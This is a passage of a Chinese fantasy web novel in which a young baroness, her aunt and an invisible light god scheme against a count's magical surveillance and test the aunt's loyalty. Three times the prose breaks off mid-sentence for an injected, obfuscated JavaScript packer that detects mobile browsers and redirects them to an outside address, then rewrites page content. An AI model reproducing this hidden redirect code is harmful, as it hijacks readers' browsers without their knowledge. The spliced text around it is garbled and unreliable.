偶尔带着孩子们来到了外面,看着黑发女孩子坐在露天的台阶上,托着下巴望着蓝天,她有点想要知道对方到底想了什么,又或者只是呆呆的这么坐着什么都没有想? 【我的外甥女天生对于外界一无所知,所以我也用不上真的对付她,只要给她一口饭吃一张床睡,其他的随你喜欢。放心,她不会反抗也不会拒绝任何人。呵,我那好姐姐好不容易生下来一个孩子,却是一个不怎么正常的,也真的是可惜了。不,也幸好是这种不正常的孩子,不然的话她还不一定能够活下来。】 她知道,特立特之所以和她说这些,是想要宽慰她。 但是——她却并不觉得有多么安心,这年头就算是傻子也会有一天变成聪明的人。更何况,格林菲尔这个孩子只是暂时对外界没有反应,这种像是失魂一样的症状,谁能保证对方一直会这样下去。 可是就算是可能以后的生活会遭到威胁,她也并没有想过要对这个孩子做什么了,那并不是因为她善良,只是单纯她怜悯这个没有了父母的人罢了。 根据她从丈夫那里所了解的,她以为至少格林菲尔要再过几年才能彻底清醒,没想到对方不仅在她的眼皮子底下清醒了,还瞒着所有人。 此时,距离伯爵到访过已经过去了好几天,自那天以后,她吃不好也睡不好,不管自己的孩子怎么劝自己多吃一点,她也寝食难咽。现在的她就像是等待着凌迟处刑的犯人一样,等待着来自于自己的外甥女的处置。 格林菲尔最近爱上了看书,导致一直跟在她身边的光明神陛下也不得不一起看书,可是当他询问对方到底是在看什么书的时候,得到的回答却是—— “爱情小说。” 至此,泽维尔决定暂时不管这位说梦话的绑定者,而是将视线投放在了他平时不怎么关心的、这个宅邸的其他人的身上。那些佣人们还算是情绪稳定,每天的工作依旧有条不紊,除了偶尔弄错了东西会露出有些苦恼的神情,并没有因为领地的男爵易主这种事情而有所动容。 皇室的任命,在三天前已经传达至了大陆的每一处,尤其是在领带中,每天都有人会敲锣打鼓的提醒所有人——你们的男爵领主现在不是特立特·塔尔,而是格林菲尔·塔尔了。这样的手段虽然有点扰民,会让人觉得很烦躁,可是很显然也是最方便让人记住这件事的一个方法了。 三天后的今天,领地中只要是三岁以上的人,不管男女老少,都已经接受了领主变了的事实。最初的时候,他们还在担心这个担心那个,什么赋税会不会加重啊,新的领主有什么奇怪的嗜好啊之类的,更多的人还是关心自身如今分得的土地会不会被没收。邻近的几个村庄,毕竟是有着靠贩卖自己当奴隶养活全家人的,比起领主是谁他们更在乎的是自己如今的生活能不能得到保障。 这些人的忧虑,在三天内没有得到任何变化之时才慢慢的退散了,只要领主暂时没有打算改变什么,那么他们也可以多过一天是一天,不过为了那即将到来的变化,他们还是要自己做足了准备的。像是地里的植物能不能现在就收了,储备的食物够不够过冬之类的……这些都是他们如今需要考虑的。 “马上要入冬了。” 被仆人从书房里喊出来,格林菲尔才得知了自己舅妈要见自己的事情。原本的话按照如今她才是这个领地主人,不应该是由她去见安托玛丽,但是因为她什么安排都没,佣人们也就默认了他们还是一家人,谁找谁都是正常的。 而来到隔壁会客室,格林菲尔刚刚才坐下,看着对面的女人将一杯茶放在自己面前,说着一句让她摸不着头脑的话。 她端起茶,慢慢地喝了一口,舔了舔嘴唇:“舅妈,我没太明白你的意思。入冬……怎么了?” 安托玛丽像是露出了为难的表情,在对面的黑发女孩子等待期间,她有些难以启齿却还是开口道:“我和两个孩子需要过冬的衣服,格林——不,男爵大人。” 在艰难的喊出这个称呼以后,她痛苦的闭眼。对于她来说,这是非常难接受的事实,曾经她以为寄人篱下的是对面的人,没想到最后发现是自己鸠占鹊巢。这样的反差,让她有点不想承认,却不得不承认。 “母亲,我知道你现在很痛苦,也很难受。”记忆里话不多的儿子,之前语重心长的对她说,“可是我们需要活下去,也需要足以度过这个冬天的物资。我和姐姐谈过了,她说只要你拿出诚意,那么我们依然可以和过去一样,不然的话就只能在这个寒冷的冬天住阁楼了。” 回想起自己儿子的话,她的内心忍不住叹息。 放置于腿上的手指不安的抖动着,让察觉到这一幕的格林菲尔都要差点同情她了。单就待遇这方面,她其实并没有被自己的舅妈剥削什么,若非是对方用了处于她的东西的话,她也不至于如此冷落她和她的两个孩子的。 放下杯子,格林菲尔用非常平静的口吻道:“舅妈,舅舅虽然被国王给驱逐出境了,可是我并没有没收你们任何东西,也不欠你们什么。一定要说亏欠的话,那么也是你们对我。” 话说到这里,她的话锋陡然一转:“我从家里带出来的东西,你们若是不能完整的交给我,我是无法再对你们进行任何帮助的。” 丢下这话,她转身就离开了房间。 直到女孩子离开了很久,安托玛丽才抱起了胳膊无声的流泪。她当然知道,格林菲尔想要从她这里拿回属于自己的东西,若是可以的话她也想要满足对方的心愿。但是——用掉的钱财不计其数,那些配饰和衣服也送了不少给其他人,光是落到了皇室手上的就有三成。她当然可以将自己身边的拿出来给男爵,但是只有那么一点如何能够平息对方的怒火。 安托玛丽不知道。 格林菲尔其实没有动怒,她甚至没有将一家人的处境放心上。 不只是她,就连泽维尔都觉得没有什么必要。 “特立特·塔尔被驱逐出境这么久,也不曾看到他让任何人来联络安托玛丽。” 听到男人的话,格林菲尔先是疑惑道:“你怎么会去在乎这种事情。” 接着,她就分析起来了目前的情况:“我舅舅是个非常势力的人,这点从他小时候拿捏我母亲就可以看得出来。” 她会给父母报仇,是因为她是塔尔的继承人,为家族枉死的人鸣不平是理所当然的事情。至于对于父母还有其他家人有多少感情,她其实也不好说,毕竟那段时间她是没有自我的。可是从那记忆深处翻出来的内容来看,就算她天生不正常,她的父母也并未看不起她或者说放弃她。 不得不说,记忆中的母亲非常的美丽,和自己不同的是对方拥有一头红色长发,明艳似火异常艳丽,只是看着就会让人的目光为之驻足,舍不得移开视线。 那些美好的回忆,原本的话应当是她的宝物,可因为她降生的不同寻常,那终究是成为了别人眼中的东西,对她而言完全没有真实感。她想,她应该是冷漠的,不然的话也不会现在满心满眼就想着自己,而不是马上去查当年父母去世的真相。对于那对夫妇,她感到抱歉,她发誓她会替他们取回全部的东西,不惜一切代价。 “特立特·塔尔作为姐妹兄弟中最小的那个, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333099|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得到了近乎家族里全部人的喜爱,他很聪明也很擅长说和做一些顺着别人的事情。他利用他这份独有的聪明才智,将自己家里的人都给欺骗,这才将我母亲的财产给全部给转移走,而家族里没有人对他的行为说什么。” “奥斯维特伯爵的监视不知道要持续到什么时候。” 这么说的时候,她手上的手链微微闪烁着光芒,这是她让人从村庄的落魄炼金术师所在的店铺打造的,效果很普通就是可以察觉投注过来的视线。一般来说普通人用不到这些,所以也没有人会去在意这个,而对于格林菲尔来说,这个装置刚刚好符合她的要求。 撇了撇嘴,她将一本书放置于书架上,从梯子上走下来,伸了个懒腰:“好了,这里的书我全部都翻完了。” 泽维尔问她:“那你接下来打算做什么?” 女孩子手指抵着下巴,略微沉思了片刻:“我需要人手,但是我现在不能出手。泽维尔,你能不能实体化?” 泽维尔这才意识到,对方将他当做什么了,顿时有点哭笑不得:“我是有实体的,只是你看不见我而已。” “哎?那为什么之前——?” 以为对方没有实体,和实际上是两回事让她一下子没有说剩下的话了。 得知了对方是有实体的,格林菲尔也就不客气了,好在泽维尔也在宅邸待腻了,想要出去看看外面什么情况。就在两个人敲定了计划,真的打算实施的时候,光明神陷入了沉默。 大半夜的,格林菲尔裹着薄薄的外套,忍住那刺骨的寒意,将泽维尔给送出门,却感觉到对方拍了拍她的肩膀,不由得问了一句:“怎么了?” 为什么是半夜,是因为那个用魔法窥视的视线始终没有离开过,让她不得不选择所有人都休息的半夜了。她觉得,就算是再强大的魔法师,到底也是人类,不可能不眠不休的一直都在监视她吧?在她假装睡下了,而外面又是一片漆黑的时候,她过了很久才从床上重新爬起来,并且运用自己的魔法悄然的离开了房间,来到了外面开门。 泽维尔有点心情复杂,他发现自从和这个女孩子待一起以后,他自己也经常会忘记很重要的事情。或许是他平静的生活过太久了,根本没有发现自己懈怠到什么程度了,这么简单的事情都没有记住。 “在宅邸的话,我哪里都能去,可是一旦离开了宅邸,我不能离开你的距离仅有几百米。具体的数据,我并没有测试过,而且会不会一直这样也不好说。” 第一次听到这样的话,格林菲尔微微睁大了眼眸:“那样的话你岂不是很无聊?” 泽维尔愣了下。 不是,这种时候难道不是应该为了计划不能实现而感到头疼吗? 他算是发现了,比起计划什么的,这个女孩子总是考虑人性化的部分更多一些。 而巧合的是,似乎每次都是和他有关的。 这么好的一个女孩子,怎么想都应该是成为他使者的存在,替他在人界行走赞扬他的丰功伟业。不,比起后者,他觉得前者就足够了,有这么一个可爱的使者的话,光是看着也赏心悦目。 没有听到声音,格林菲尔也不知道对方的所在方位,歪了下头:“泽维尔,你还在吗?” 许久以后,她听到一声长叹:“事情既然如此的话,我们还是回房间商谋对策吧。” 一个人不能距离另外一个太远,那就意味着格林菲尔想要隐瞒自己的情况下,找到一个合理的理由去附近的村庄看看。确认好的具体的位置,两个人敲定了新的计划。 安托玛丽诧异:“添置衣服?” 她发现,今天这个外甥女好像比较好说话,就猜测可能是之前长时间在书房累了让脾气变差了,没有因为对方的变化而有所疑虑。 撩了下头发,格林菲尔微笑着说道:“是啊,虽说舅舅不能回来,但是我觉得舅妈你还是应该为他准备一些衣物,说不定哪天他能够有机会回来?那个时候就可以将衣服给到他,他一定会很感动,说不定就休了那个情妇?” 安托玛丽:“……” 收回前言,这位男爵大人是在开她玩笑吧?她早就看透了特立特,要不是为了孩子她早就离了。可是眼前这位居然说什么“他一定会很感动”,先不说会不会真的感动,被驱逐出境就不可能回来,除非—— 她注视着面前的女孩子,对方的神情非常认真,好像真的打算带他们添置过冬的衣服……就算是假的,她也愿意相信对方是真的。 这样的疑惑,直到她和对方坐在了马车上,才得到了解疑。 “我有事情要去村庄上一次,一个人的话不太合适,就拉上作为家人的舅妈你了。” 安托玛丽顿时明白了对方的意图,只能苦笑:“男爵大人这是要把我当借口啊。” 对于对方的判断,她认为自己没有质疑的权利,也不能够这么做。 思考了一会儿,她轻声细语道:“男爵大人,我可以不可以以这次的事情作为契机,让我成为为你办事的人?” 家人的话,从她擅自用了别人的钱财起,早就已经失去资格了。她不奢求高攀什么,所以只要能够让她还有孩子们可以在宅邸中继续生活下去,她觉得可以调整一下自己的位置。 原本这话只是想要试探一下,没想到女孩子真的给了回应:“不错的想法。” “唔,不过嘛……让我想想哦。” 露出了有点怀疑的目光,格林菲尔反问对方:“你为什么觉得我敢用你?” 8. 对策 安托玛丽,到底只是格林菲尔用来和外界沟通所构筑的桥梁,并不是真的如同她嘴中所说的“我重要的家人”这种,她自己听了都会觉得可笑的话。 作为一个喜欢挑战各种文学,又有足够的耐心隐藏自己的人,格林菲尔具备的知识里,就有关那些监视者工作模式的部分。对于这类人,她深知不能频繁的往视线所在的方向看过去,那会让她将好不容易隐藏至今的真实给一下子暴露。虽说她至今都不明白,她到底是哪里产生了破绽,让那个伯爵经历了那一晚上的事情,至今还能对她产生不小的怀疑。 她对于自己的认知足够清晰。 首先,她在这十几年间几乎屏蔽了外界的一切,由于一开始就被神殿的人判定为无法对外界产生反应,所以就算她有时候说话和做事情,也不会有人觉得她哪里不对。对于大部分人来说,一个从小没有自我的人,通俗来说就和婴儿没有区别,谁会在意一个新生儿某天醒过来会有什么特别的吗? 然而事实证明,奥斯维特伯爵和她的想法不同,他没有把她当做他人认识中刚刚醒过来的孩子,而是真的把她当做一个可能是敌对者的态度来看着。 格林菲尔有和泽维尔谈及这件事,却听到对方轻描淡写道:“这个世界有神,那么有带着记忆转世的人类存在,也不是没有可能。你想,自从你母亲这个上一任塔尔家的家主死亡以来,你舅舅接手了领地这么多年,从来就没有发生过什么问题。从他和皇室可能有的约定来看,皇帝和高等贵族像是伯爵等人,他们必然是知道他都做了一些什么的。” “然而,对于你舅舅的所作所为,他们从来没有任何行动。由此可见,特立特能够一直悄无声息利用贩卖女孩子获取钱财这种事情,带给了他们双方不同程度上的利益,他们默认了这位代男爵这么做也不是一次两次了。从他们的角度来说,一个这么多年都没有在这方面翻过车的盟友,却在算计自己的外甥女这次被人给发现揭发了……不管是谁,都会觉得这件事和你脱不了干系吧?” 格林菲尔本来还不能明白伯爵针对她的行为,因为她并没有真正的了解过这个世界,她一直只当这个世界是她曾经看过的书里的一部分,却并未曾真的去考虑过——这个世界拥有神明,到底具备着怎样的意义?神明,不再是如同她前世记忆中那仅仅出现在他人言语,或者神话故事中的虚无角色。这个世界的神,都是真实存在着的,正是因为有着这样的神明,小说里的那些反派才没有能够第一时间找到魔女的所在地,从而为了让这个世界的人类有了苟延残喘的机会。 果然,有些事情真的只有切身体会了,才会明白自己到底是哪里做错了。 对于安托玛丽的请求,格林菲尔并没有马上给出答复,而是抛给了对方一句:“让我看到你的诚意,之后我才会考虑是不是要让你协助我。” 这倒也不完全是托词,倘若皇室真的和她的父母的死有关系,那么她的敌人就是这整个国家,而她只要对自己的舅妈还有剩下的家人们态度普普通通,就算是最后她的真实被揭发,也不至于牵连太多人跟着她。或许已经转世过一次,格林菲尔其实对于自己的敌人可能是这个国家这件事本身,倒是并没有什么太大的恐惧感,毕竟她怎么说也算是死过一次的人,就算面对的是这个大陆的皇族,她也心里没有多少害怕的情绪。 这么一想,她来到这个世界以后真的胆子大了很多,能够将自己的生死置之度外也不知道到底是不是好事。 格林菲尔尽管已经是国家认可的男爵了,可是她到底还是一个孩子,在多少人眼中是有利可图还是威胁不好说,反正出门的话就带上一个成年人在身边总不会错。 每次只要进入隐秘的房间,或者是男士不方便出现的时机,那道监视她的视线都会移开。 她发现,在马车内的时候,同样是这样,于是一个计谋就浮现在了心底。 “舅妈,你现在下去这个店里买一些东西,这是购买明细。记住,下面那部分东西,必须是放在购物袋的最下面,不能让任何人看到。” 安托玛丽没有被告知更多事情,就被催促着下马车了。 泽维尔仗着马车里只有他和格林菲尔,就干脆的做到了对方的对面,翘着二郎腿问道:“你什么都不给她交代清楚,就不担心她暴露什么?” “请称呼这是测试。我不养废人,也不养蠢人。” 泽维尔露出了有点感兴趣的神情:“那么,你觉得你自己是不是蠢人?” 对此,格林菲尔只是轻轻挑了挑眉:“泽维尔,我发现你有时候真的完全不会说话,你活着的时候是不是单身啊?” 被一个人类小女孩质疑了自己的魅力,泽维尔也不恼,他的情况和普通人类不同,不可一日而语。其实,他很好奇格林菲尔到底是什么时候打算问他,关于他到底是什么人什么身份这件事。以对方看不见的形式在女孩子身边也有一段时间了,他等了很久就等来了女孩子一句“你的名字”。他知道这个和他绑定的孩子很特别,但是没想到这人对他一点了解的情绪都没,这让作为光明神的他反倒有点介怀。 尤其是,在他告诉了女孩子他的名字以后,对方依然没有多大反应。他一开始是觉得很奇怪,但凡生活在这个世界上,怎么会有人不知道【泽维尔】这个名字?他本来还怀疑是不是格林菲尔故作镇定,或者说为了她自己的尊严,故意假装什么都不知道。后面真的得到回答了,他只剩下了无奈。 “什么?你问我为什么对你的名字没有反应?什么泽维尔、谢维尔的……诸如此类的名字,真的有什么特意询问意义的理由吗?我没有记错的话,之前隔壁来了个帅小伙,自称其他世界的救世主,也不知道家里人怎么想的,还给他起了伊莱恩这个名字。你知道这个名字具有的含义吗?是象征希望啊。” 泽维尔:? 不是,现在的人类取名这么有特点?都往深意上面取了? 可能是他很久没有反应,格林菲尔又举例:“你再看看我们这位花匠,你知道他叫什么吗?” 泽维尔:“叫什么?” 没人会对一些和他关系不大的人在意,更加不可能会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333100|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去在乎他们的长相美丑,还有叫什么了。 他还记得,格林菲尔用非常奇怪的眼神看着他:“阿托恩,光明之意。” 泽维尔:??? 不是,那个花匠叫阿托恩,有光明的意思,那他是什么? 经过了以上种种的问答,他明白了格林菲尔是真的不知道他是谁,也不知道他的名字是独一无二的这件事。 至此以后,他对于格林菲尔的话都会非常平静的给予回应。 比如这次,在女孩子说不养废人和蠢人后,他说了一句在对方看来是补刀的话。 说真的,他并没有觉得这话有什么不对的地方,这只是一个客观的问题罢了。 “如果不是这段时间确认了,你真的是个心直口快的人,我都要怀疑你在故意嘲讽我了。” 这么抱怨了一句,格林菲尔撩了下头发,叹了口气才说道:“我就是因为自己不够聪明也不够勤快,所以不可能找做事的人还是和我一个样子。用某种词来形容,这叫查漏补缺。” 没有听到过的说法,就这么钻进了光明神的耳朵中,他本来还想说什么,很快就没有再说了,甚至挪出了原来坐着的位置,提醒了女孩子一句:“安托玛丽回来了。” 他的话音落下,马车的帘子被人给拉开,来人是刚刚提及过的人。 将袋子轻轻放置于外甥女的手上,安托玛丽这才在原来的位置上坐下,说明了自己此行的情况:“我原本不明白男爵大人的意思,直到我在购买了明细上面部分的东西,还在犹豫下面的怎么买。” “您知道的,下面那些都不是日常所需的,那个店里也应该没有,没想到——” 格林菲尔倚靠在马车的角落车板上,神情慵懒:“是你找到那位师傅的,还是他主动找你的?” 安托玛丽平稳了下情绪,这才接过话题,慢慢说道:“都不是。下面那些地方,我本来想着要去其他的店买,可是大人您没有说要换店,我就留意了一下手上的袋子,发现它对应了店里某个位置,就坐上去了。” 是的,格林菲尔什么都没交代,完全就是让人自己去思考。 由于本身就是用来测试安托玛丽的关系,这次她就算是让买的下面的部分东西,也不是什么特别值得一提的,属于那种被监视者看到也无关紧要的,可却是用来让她了解这位舅妈智商的本金。 等了很久,直到马车重新启动了,她都没有听到女孩子的答复。 “你做得很好,接下来的采办事宜就交给你了。” 格林菲尔垂下眸。 袋子里的东西却是很普通,随便一个贵族都会拥有。 储物袋,可以存放很多东西的空间袋子。 她让安托玛丽买这个袋子,却并不是为了存放东西,而是有更大的用处。 乔装打扮什么都可以,但是监视者的方法是定位,只是换了衣服可没有办法。 因此—— “泽维尔,试试看做口袋精灵?” 回到了自己的房间,她这么对那个看不见的存在说。 9. 拥抱 泽维尔不记得自己活了多久了,但是他敢肯定——他诞生了那么久,从来没有像此刻这么无语过。口袋精灵?是让他像那些精灵族一样,找一个像树洞一样的地方吗? 身体腾空而起,他慢慢的飘到了女孩子的头上,那并没有刻意控制的力道,带起了一阵阵的风。在这个即将入冬的日子里,本来就是很容易生病的,就算是有一点小风也容易着凉。看不到对方,也不知道这位被自己调侃的男人做了什么,她因为那突如其来的风冷的打了个哆嗦,急忙看向了窗口的位置。 她发现,窗是紧紧关着的,由于特立特当初担心她逃走,给她准备的卧室是严丝合缝的,尤其是门和窗,属于是锁上不打开的情况下,就连一点点风都不可能漏进来。 于是,格林菲尔明白了。 她抬起头,注视着毫无一人的头顶上方,轻唤了一声对方的名字。 “泽维尔。” “嗯。” 一道声音,从她的坐着的位置高处落下,让她一下子就知道了……为什么这个男人只是动一下,能够在房间里莫名的掀起寒风。原因无他,原来这人停留在了半空中。 嗯? 想到这里,她露出了惊讶的神色:“泽维尔,你会飞?” 泽维尔觉得这话很奇怪。 他本身就是神明,除了自身具有的光明属性外,掌控其他基础四属性也是非常正常的事情,犯得着什么大惊小怪吗?可只要想起来,格林菲尔对于所谓的神,从根本上就没有什么兴趣。一个觉得神都能和普通人重名的人,真的会考虑神都有什么能力吗?一旦接受了这样的现实,他对于这位和他有些许相像的人类女孩子,就不再抱有什么期望了。 在其他人眼中必须了解的知识,可能对于这位来说就纯粹是有没有兴趣才会去调查的。 越是这种时候,他就越发的觉得郁闷。 他堂堂一个光明神,不管是谁能够听见他的名字都会立刻祈祷,再不济也会露出欣喜若狂的表情。对于这类人群,他虽然有点腻了,可是他倒是不介意格林菲尔能够有这种表现的一天。 埋怨人类女孩子不在乎神明,他还是认真解释了一下:“我有所有属性的亲和力,区区飞起来不在话下。” 格林菲尔露出了喜悦的神情,还不等泽维尔感到欣慰,就听到对方说:“那我也有元素亲和力,是不是也可以和你一样飞在半空中?” 泽维尔翘起的嘴角一下子僵住了。 这种时候,他是非常感激格林菲尔看不见他,不然的话虽然不至于让他感到尴尬,但是还是会让人情绪有变化是真的。 “那你需要确认你有没有风属性亲和力了。而且,飞行是风系高级魔法,不是你想要学就真的可以学会的。首先,你需要平衡力很好,还有能够想象自己在空中飞着的画面,这两者缺一不可。” 等他把这话说完了,就看到下面的女孩子已经闭上了眼睛。 泽维尔:格林菲尔是完全忘记了,她首先需要测试有没有风系亲和力这件事了? 哦对了,他还漏说了一点。 想要学会风系高级魔法,还需要掌控魔力的平衡。 格林菲尔的火魔法确实用的不错,不过风系主打辅助系的魔法,这点和主攻击的火系魔法,在魔法使用上面还是截然不同的。尤其是对于元素的精准把控,取决于能不能成功。 泽维尔发现他自己又犯了一个错误。 既然格林菲尔可以掌控火系和光明系魔法,就代表她本身就是与众不同的,至少就他的认知里来看,一个无意中使用了光明魔法,还是将其融合在火系攻击魔法里面,就这种天赋怎么想都不可能资质平平。 格林菲尔在听完了泽维尔的话以后,就慢悠悠的飞了上去,反正现在是晚上的休息时间,来自于外面的探究视线已经没有了,她可以在房间里自由的研究和使用魔法。 “嘭”的一声,她的脑袋撞在了硬硬的东西上面,没等她想明白什么情况,忘记了还在控制魔力的她,身体一空从空中掉落。 一双手,稳稳的搭在了她的腰上,将她给抱起来,格林菲尔这才免于坠落吃痛的下场。她之所以敢马上实施魔法,是因为她有所准备,因为就算是中途坠落,下面也是睡着的床,或许重力的关系她就算是摔在了床上也会吃点苦头,但是至少不会有生命危险。让她没有想到的是,她居然正好撞到了没有避让意思的男人的脑袋上,又在一下子忘记控制魔力要摔下去的时候,被对方给一把抱住。 或许是触碰的部位有点多了,原先看不到的面容,格林菲尔好似能够看到了些许影子。她也没有顾及双方是不同物种,伸手摸了摸那带了一点轮廓的人,就在她的手触碰到对方的面庞之际,原先模糊看不清的面容,一下子在眼前清晰的浮现了出来。 “哎,我发现你挺帅的啊,泽维尔。”这么说着,她不顾对方错愕的目光,手在对方的脸上又摸了摸,露出了笑容,”皮肤也很好。 泽维尔觉得,他就不该心软,应该任由这个不知天高地厚的臭丫头掉下去吃吃苦头。 倘若还是沉睡前的他的话,格林菲尔的这个行为已经可以算得上是亵渎神明了,不过他现在的状态他自己都不清楚,自然和人类认知中的光明神本尊还是有所差距的。 他其实很想问格林菲尔,在她心中他到底是怎样的存在,因为他是对方看不见却听得见声音的存在,他非常好奇自己在对方的心中算是帮手,还是其他什么。但是一想到之前的各种问题都得到了令他心梗的回答,他就不是很想再开这个口了。反正他想要的答案,永远在这个女孩子的嘴里是吐不出来的。 将人给公主抱,泽维尔慢慢的落在了地面上,把格林菲尔给放在了床边,并且警告她:“下次记得不要随便在拥挤的室内做这种危险的事情。” 格林菲尔已经收回了摸人脸的手,抱着被撞到的额头嘟囔了一句:“我是看不见你,可是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333101|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见我飞上来就不能让开吗?” 泽维尔语气冷淡:“习惯了。” 格林菲尔哈了一声,没有纠结对方的话什么意思,揉了揉额头,开始说起来了自己的想法:“我觉得我有必要想办法解决来自于外面的窥探,不然的话根本没有精力好好学习。” 泽维尔见她恢复了正常,暗中松了口气。 是的,刚刚那种随便摸一个异性脸的事情,他可以当做对方发病了。 一旦定义为亵渎的话,那么他将不得不对她降下神罚,对于一个什么都不懂的小孩子做这种事情,他觉得还是没有必要。 “要隔绝外面的视线,可以用魔法道具解决。对了,你之前所说的口袋精灵是什么意思?” 对格林菲尔这个人,绝对不能用普通人的认知去丈量她,因为她所说的未必就是人们寻常知道的那些,可能只是表达手法不同,导致的错觉也说不定。 提及这个,格林菲尔顿时来了兴致:“你说这个的话我就不困了。” 这么说着,他看着女孩子精神奕奕的取出了一个储物袋,而后眼中满是期待的看着他:“你看,我可以让你和村庄里的人产生联系,又不让人发现的话,那么只要让你进入这个袋子就可以了吧?” 泽维尔非常想问这人是不是认真的?可是看着女孩子一脸期盼的表情,他觉得对方应该是非常认真的那种。 “我已经说过了,只有你能够听到我的声音,现在的话你应该也能看见我了。除了你以外的人听不见我的声音,也根本看不见我,那么为什么还要多此一举?” 格林菲尔收起脸上的笑容,少有的用完全没有开玩笑的语气道:“到目前为止确实是这样没错。可是你和我都不能保证,在我们去村庄的时候不会遇到神殿的人,也不会遇到知晓亡灵魔法的人。而一旦遇到了这两类人,我最多就是接受一点惩罚,而你的话就彻底凉透啦。” 泽维尔转动了一下脑子,才终于回过味来了,在眼前这个人类眼中,他到底是怎么样的存在。他本以为,只要他不主动去问,就不至于有恼火的情绪,现在看起来他还是太天真了。 格林菲尔是谁?那可是可以指着借用了光明之意名字的花匠,和他解释【泽维尔】这个名字具有普遍性人的家伙啊。他到底是为什么会去指望,这样一个人能够说出让他听着舒服的话? “我才知道,我在你心中居然是一个用了亡灵魔法活下来的灵魂?” 格林菲尔对于魔法方面的知识学习的还不够多,自然无从分辨灵魂实体化和只剩下灵魂的区别,所以之前她不怎么敢用泽维尔的原因里面,自然也包括了不想牵连对方的意思。 泽维尔沉下脸,双手按住了眼前人的肩膀,在对方眨着眼睛的时候,将头凑到了她的耳边,低语:“亡灵的话,会有这种温暖的触感吗?” 一阵热气,慢慢的自男人的身上浮现而出,转瞬间化为了雾气包裹住了被她按住的女孩子的全身。 10. 故人 确实,这种不带丝毫死亡气息的力量,和她所看到的关于亡灵魔法的记载完全不同。可是,若是这个世间一个存在可以使自己的身体虚化,也可以实体化,但是身体却只能为一个人类所见,那么——这样的存在算生物,还是算一种自然现象? 短暂思考片刻,格林菲尔一把推开了那个和小动物一样,凑到她耳边的存在:“行了,你已经证明了自己不是亡灵,这样的我就放心了。” 泽维尔“哦”了一声,松开了手渐渐的站直了身体,以好奇的口吻道:“放心什么?” 面前的女孩子的反应,冷静异常:“放心用你了。” 泽维尔似笑非笑道:“你要让我帮你做事的话,那是有代价的。嗯,我想想看……当我帮你达成心愿以后,你就要答应我一件事。” “那还是算了。” 泽维尔缓缓打出一个问号,眼看着女孩子打算休息了,飞快的开口道:“只是一件事,又不是逼你做什么不愿意的事情。” 被子拉到一半,格林菲尔抬眸:“不能超出我能力范围的,也不能是害人的。” 男人并未发现,在要求他做保证的时候,女孩子所说的话的内容,其中并没有包含“不能对我不利”的条款。 泽维尔伸出手,刚想说什么,还是问了一句:“姑且和你确认一下,要和你定下约定的话,应该怎么做?” 格林菲尔坐直了身体,一手抓住了男人的手,让他勾起了小拇指,而后自己用小指勾起对方的,轻声道:“拉钩上吊一百年不许变,谁骗人谁就是小狗。” 话音落下,她就松开了手,微笑着对面前的人说:“好了,这样就算是达成约定了。为了我的心愿能够顺利完成,也为了能够让你心想事成,接下来的日子就让我们好好共处吧,泽维尔先生。” 在两个人约定之前,他们双方其实目标并不一致,不——应该说泽维尔并没有出于是协助者的身份,来帮格林菲尔做什么。可以说,别看他之前那么积极的帮忙干活,实际上完全就是看心情随心所欲,而且也并没有格林菲尔的事情都有涉及。 现在他和格林菲尔的这个约定,虽说不如神和神使那么具有强制性,但是也并不会少什么。神明的名字,本身就具有力量,那么就算是如今状态的他,只要以【泽维尔】的身份和女孩子做了约定,那效果也不会比他以本体签订契约来的弱多少。 那边的格林菲尔按着脑袋,在和泽维尔做了约定以后,她就一直拿着手中的储物袋看,好像是在想接下来怎么处理。 “对了,你实体化的话,其他人能够看见你吗?” 泽维尔摸着下巴,思考了三秒,而后开口道:“这个容易,我们试试看不就行了?” 第二天一大早,安托玛丽被敲门声给吵醒,安抚了一下身边的女儿:“你继续睡,妈妈出去看一下。” 敲门的人是如今的管家柏雅。 站在曾经的女主人房间门口,青年面带浅淡的笑容:“我奉男爵命令,来喊你一起去邻近的村庄。” 邻近的村庄,其实里面并没有什么很大的店铺,包括之前用来测试安托玛丽的储物袋。也正是因此,那次这位男爵的舅妈才会疑惑到底怎么回事。 安托玛丽不爱去领地负责管理的村庄,是因为她见不得其他人过贫苦的生活,可这也并不代表她有什么特别慈爱的心。看到别人过着不好的生活,自己却衣食不缺,只要是人就多少有点心理难受。唯一的区别就是,格林菲尔愿意改变这样的事情,安托玛丽则是只想着逃避,主打一个眼不见为净。 得知又要去那个十分贫穷的村庄,就算知道格林菲尔这个外甥女打算做什么,安托玛丽还是不免讶异了一下:“今天也要去吗?” 柏雅听了对方的话,眉头蹙起:“别啰嗦,男爵还在外面马车里等着。” 安托玛丽倒是没有推脱的意思。 